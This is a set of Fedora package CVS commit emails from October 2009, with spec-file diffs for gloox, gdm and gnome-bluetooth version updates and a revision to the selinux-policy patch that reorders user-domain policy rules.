Date: Tue, 20 Oct 2009 12:09:17 +0000 (UTC)
Subject: rpms/gloox/F-11 gloox.spec,1.3,1.4
Message-ID: <20091020120917.662A011C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13139

Modified Files:
	gloox.spec 
Log Message:
- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
- Expand "beta" define and magick to more common "prerel".




Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-11/gloox.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gloox.spec	19 Oct 2009 05:13:21 -0000	1.3
+++ gloox.spec	20 Oct 2009 12:09:17 -0000	1.4
@@ -1,18 +1,17 @@
-#% define beta 7
+%define prerel rc3
 %define SVN 4204
 
 Name:		gloox
-Version:		1.0rc3
-Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0
+Release:		0.9.%{?prerel:%{prerel}.}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
-#Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
 # svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
 #	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
-Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
+Source0:		%{name}-%{version}%{?prerel}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
 #Patch1:		gloox-getaddrinfo.patch
@@ -43,7 +42,7 @@ The %{name}-devel package contains libra
 developing applications that use %{name}.
 
 %prep
-%setup -q -n %{name}-%{version}%{?beta:-beta%{beta}}
+%setup -q -n %{name}-%{version}%{?prerel}
 
 %build
 %if 0%{?SVN}
@@ -83,6 +82,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.9.rc3.SVNr4204
+- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
+- Expand "beta" define and magick to more common "prerel".
+
 * Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
 - New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
 



From rstrode at fedoraproject.org  Tue Oct 20 12:09:53 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 20 Oct 2009 12:09:53 +0000 (UTC)
Subject: rpms/gdm/F-12 .cvsignore, 1.79, 1.80 gdm.spec, 1.495, 1.496 sources,
	1.114, 1.115 0001-Fix-gdm_slave_get_timed_login_details.patch,
	1.1, NONE fix-other-user.patch, 1.1,
	NONE gdm-2.28.0-use-devicekit-power.patch, 1.1,
	NONE registryd-no-wrapper.patch, 1.1, NONE
Message-ID: <20091020120953.A4D2B11C0081@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23844

Modified Files:
	.cvsignore gdm.spec sources 
Removed Files:
	0001-Fix-gdm_slave_get_timed_login_details.patch 
	fix-other-user.patch gdm-2.28.0-use-devicekit-power.patch 
	registryd-no-wrapper.patch 
Log Message:
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	23 Sep 2009 22:34:44 -0000	1.79
+++ .cvsignore	20 Oct 2009 12:09:53 -0000	1.80
@@ -1 +1 @@
-gdm-2.28.0.tar.bz2
+gdm-2.28.1.tar.bz2


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.495
retrieving revision 1.496
diff -u -p -r1.495 -r1.496
--- gdm.spec	9 Oct 2009 16:05:26 -0000	1.495
+++ gdm.spec	20 Oct 2009 12:09:53 -0000	1.496
@@ -15,8 +15,8 @@
 
 Summary: The GNOME Display Manager
 Name: gdm
-Version: 2.28.0
-Release: 9%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -95,20 +95,12 @@ Requires: audit-libs >= %{libauditver}
 Patch2: gdm-2.26.0-force-active-vt.patch
 Patch3: gdm-2.23.92-save-root-window.patch
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=596569
-Patch4: gdm-2.28.0-use-devicekit-power.patch
-
-# fixed upstream
-Patch5: registryd-no-wrapper.patch
-
 # uses /etc/sysconfig/keyboard and is thus not directly upstreamable
 # should probably be changed to get the system layout from the X server
 # https://bugzilla.gnome.org/show_bug.cgi?id=572765
 Patch13: gdm-system-keyboard.patch
 
 Patch19: gdm-multistack.patch
-Patch20: 0001-Fix-gdm_slave_get_timed_login_details.patch
-Patch21: fix-other-user.patch
 
 # Fedora-specific
 Patch98: gdm-bubble-location.patch
@@ -151,13 +143,9 @@ The GDM fingerprint plugin provides func
 %setup -q
 %patch2 -p1 -b .force-active-vt
 %patch3 -p1 -b .save-root-window
-%patch4 -p1 -b .use-devicekit-power
-%patch5 -p1 -b .registryd-no-wrapper
 %patch13 -p1 -b .system-keyboard
 
 %patch19 -p1 -b .multistack
-%patch20 -p1 -b .autologin
-%patch21 -p1 -b .fix-other-user
 
 %patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
@@ -409,6 +397,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Tue Oct 20 2009 Ray Strode <rstrode at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 2.28.0-9
 - Fix Other... user.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/sources,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- sources	23 Sep 2009 22:34:45 -0000	1.114
+++ sources	20 Oct 2009 12:09:53 -0000	1.115
@@ -1 +1 @@
-7724929a6b75ba269fd519d4a4995bbb  gdm-2.28.0.tar.bz2
+917dc80f5ef6adcdc15193de238476db  gdm-2.28.1.tar.bz2


--- 0001-Fix-gdm_slave_get_timed_login_details.patch DELETED ---


--- fix-other-user.patch DELETED ---


--- gdm-2.28.0-use-devicekit-power.patch DELETED ---


--- registryd-no-wrapper.patch DELETED ---



From hadess at fedoraproject.org  Tue Oct 20 12:10:18 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:10:18 +0000 (UTC)
Subject: rpms/gnome-bluetooth/F-12 .cvsignore, 1.22,
	1.23 gnome-bluetooth.spec, 1.94, 1.95 sources, 1.23, 1.24
Message-ID: <20091020121018.5C81B11C02A6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-bluetooth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24051

Modified Files:
	.cvsignore gnome-bluetooth.spec sources 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
- Update to 2.28.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	29 Sep 2009 01:12:21 -0000	1.22
+++ .cvsignore	20 Oct 2009 12:10:17 -0000	1.23
@@ -1 +1 @@
-gnome-bluetooth-2.28.1.tar.bz2
+gnome-bluetooth-2.28.2.tar.bz2


Index: gnome-bluetooth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/gnome-bluetooth.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- gnome-bluetooth.spec	29 Sep 2009 10:46:52 -0000	1.94
+++ gnome-bluetooth.spec	20 Oct 2009 12:10:18 -0000	1.95
@@ -1,5 +1,5 @@
 Name:		gnome-bluetooth
-Version:	2.28.1
+Version:	2.28.2
 Release:	1%{?dist}
 Summary:	Bluetooth graphical utilities
 
@@ -196,6 +196,9 @@ fi
 %{_datadir}/gtk-doc/html/gnome-bluetooth/
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
+- Update to 2.28.2
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-bluetooth/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	29 Sep 2009 01:12:22 -0000	1.23
+++ sources	20 Oct 2009 12:10:18 -0000	1.24
@@ -1 +1 @@
-a94d95bf4b3a0084bd6eb397bbe92b10  gnome-bluetooth-2.28.1.tar.bz2
+64b55a4659ef29717ebd60b33cae480a  gnome-bluetooth-2.28.2.tar.bz2



From dwalsh at fedoraproject.org  Tue Oct 20 12:12:59 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 20 Oct 2009 12:12:59 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch,1.112,1.113
Message-ID: <20091020121259.68C8111C0081@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24515

Modified Files:
	policy-F12.patch 
Log Message:
* Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
- Allow ccs to communicate with userdomains, and create tmpfs_t
- Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.
- Add mapping for /var/run/lircd


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   30 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  411 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   24 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 ++
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   38 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.te          |   12 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    1 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 ++
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 +++++++
 policy/modules/services/rhcs.te           |  394 ++++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1434 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 360 files changed, 16997 insertions(+), 2651 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.112
retrieving revision 1.113
diff -u -p -r1.112 -r1.113
--- policy-F12.patch	19 Oct 2009 19:05:56 -0000	1.112
+++ policy-F12.patch	20 Oct 2009 12:12:58 -0000	1.113
@@ -26535,7 +26535,7 @@ diff -b -B --ignore-all-space --exclude-
 +/etc/share/selinux/mls(/.*)?		gen_context(system_u:object_r:semanage_store_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/selinuxutil.if serefpolicy-3.6.32/policy/modules/system/selinuxutil.if
 --- nsaserefpolicy/policy/modules/system/selinuxutil.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.if	2009-10-08 15:35:18.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.if	2009-10-20 08:04:03.000000000 -0400
 @@ -351,6 +351,27 @@
  
  ########################################
@@ -28652,7 +28652,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-19 14:14:08.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-20 08:04:43.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -29216,27 +29216,27 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	optional_policy(`
 +		alsa_read_rw_config($1_usertype)
++	')
++
++	optional_policy(`
++		# Allow graphical boot to check battery lifespan
++		apm_stream_connect($1_usertype)
  	')
  
 -	tunable_policy(`user_ttyfile_stat',`
 -		term_getattr_all_user_ttys($1_t)
 +	optional_policy(`
-+		# Allow graphical boot to check battery lifespan
-+		apm_stream_connect($1_usertype)
++		canna_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		alsa_read_rw_config($1_t)
-+		canna_stream_connect($1_usertype)
++		chrome_role($1_r, $1_usertype)
  	')
  
  	optional_policy(`
 -		# Allow graphical boot to check battery lifespan
 -		apm_stream_connect($1_t)
-+		chrome_role($1_r, $1_usertype)
-+	')
-+
-+	optional_policy(`
 +		dbus_system_bus_client($1_usertype)
 +
 +		allow $1_usertype $1_usertype:dbus  send_msg;
@@ -29312,21 +29312,21 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
 -		modutils_read_module_config($1_t)
 +		modutils_read_module_config($1_usertype)
++	')
++
++	optional_policy(`
++		mta_rw_spool($1_usertype)
++		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		mta_rw_spool($1_t)
-+		mta_rw_spool($1_usertype)
-+		mta_manage_queue($1_usertype)
++		nsplugin_role($1_r, $1_usertype)
  	')
  
  	optional_policy(`
 -		tunable_policy(`allow_user_mysql_connect',`
 -			mysql_stream_connect($1_t)
-+		nsplugin_role($1_r, $1_usertype)
-+	')
-+
-+	optional_policy(`
 +		tunable_policy(`allow_user_postgresql_connect',`
 +			postgresql_stream_connect($1_usertype)
  		')
@@ -29392,12 +29392,12 @@ diff -b -B --ignore-all-space --exclude-
  
 -	userdom_manage_home_role($1_r, $1_t)
 +	userdom_manage_home_role($1_r, $1_usertype)
++
++	userdom_manage_tmp_role($1_r, $1_usertype)
++	userdom_manage_tmpfs_role($1_r, $1_usertype)
  
 -	userdom_manage_tmp_role($1_r, $1_t)
 -	userdom_manage_tmpfs_role($1_r, $1_t)
-+	userdom_manage_tmp_role($1_r, $1_usertype)
-+	userdom_manage_tmpfs_role($1_r, $1_usertype)
-+
 +	ifelse(`$1',`unconfined',`',`
 +		gen_tunable(allow_$1_exec_content, true)
 +
@@ -29566,7 +29566,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
